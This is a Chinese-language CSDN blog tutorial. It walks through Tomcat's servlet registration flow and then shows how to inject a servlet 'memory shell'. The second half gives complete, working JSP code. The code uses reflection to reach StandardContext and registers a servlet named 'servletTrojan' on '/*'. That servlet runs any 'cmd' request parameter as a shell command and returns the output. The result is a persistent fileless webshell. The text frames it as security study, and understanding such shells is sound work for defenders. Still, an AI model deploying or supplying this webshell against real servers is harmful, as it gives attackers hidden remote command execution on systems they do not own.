『Java安全』Tomcat内存马_动态注册Servlet内存马

本文详细解析了Servlet的启动调用流程,从StandardContext开始,包括注册servlet、处理过滤器和调用HttpServlet.service方法。同时,介绍了Servlet内存马的原理,通过动态注册恶意servlet并配置映射,实现远程命令执行。文章提供了完整的Java代码示例,展示了内存马的生成过程。
摘要由CSDN通过智能技术生成

Servlet调用流程分析

1. StandardContext.startInternal注册servlet

启动后在startInternal调用了fireLifecycleEvent
在这里插入图片描述
然后来到ContextConfig.webConfig
在这里插入图片描述
接着来到configureContext,传入web.xml执行解析操作,按顺序解析Listener、Filter、Servlet
在这里插入图片描述
对于解析Servlet:首先配置wrapper

  1. 调用StandardContext.createWrapper为每个servlet1创建wrapper
  2. 配置LoadOnStartup启动顺序值
  3. 配置名称
    在这里插入图片描述
    4.配置类名
    在这里插入图片描述

然后将wrapper添加到StandardContext,调用的是addChild方法
在这里插入图片描述
最后调用addServletMapppingDecoded添加映射在这里插入图片描述

2. StandardContextValue.invoke获取wrapper

注册的wrapper是StandardWrapper类实例,然后调用StandardWrapper.invoke
在这里插入图片描述

3. StandardWrapperValue.invoke处理doFilter

然后获取StandardWrapper
在这里插入图片描述
首先处理filter
在这里插入图片描述

4. doFilter调用HttpServlet.service提供服务

最后doFilter会调用this.servlet.service
在这里插入图片描述
HttpServlet.service提供了多种方法
在这里插入图片描述

Servlet内存马

原理

模拟正常的注册流程,向StandardContext动态注册含有恶意servlet的Wrapper

  1. 获取context
  2. 生成恶意servlet
  3. 生成wrapper
  4. wrapper放入context
  5. 添加mapping映射

Ⅰ.获取context

和其他两种内存马一样

<%
	Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

Ⅱ.生成恶意servlet

重写service方法,当然重写doGet和doPost一样的

   HttpServlet servlet = new HttpServlet() {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    };

Ⅲ. 生成wrapper并放入context

调用createWrapper方法生成,然后配置name、启动顺序、servlet和类,然后调用addChild加入context

	Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName("servletTrojan");
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(HttpServlet.class.getName());

	standardContext.addChild(wrapper);

Ⅳ. 配置映射

使用addServletMappingDecoded而不是addServletMapping

standardContext.addServletMappingDecoded("/*", "servletTrojan");

完整代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    };

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName("servletTrojan");
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(HttpServlet.class.getName());

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/*", "servletTrojan");

    out.println("inject done!");
    out.flush();
%>

参考引用

Servlet内存马

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123716166
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值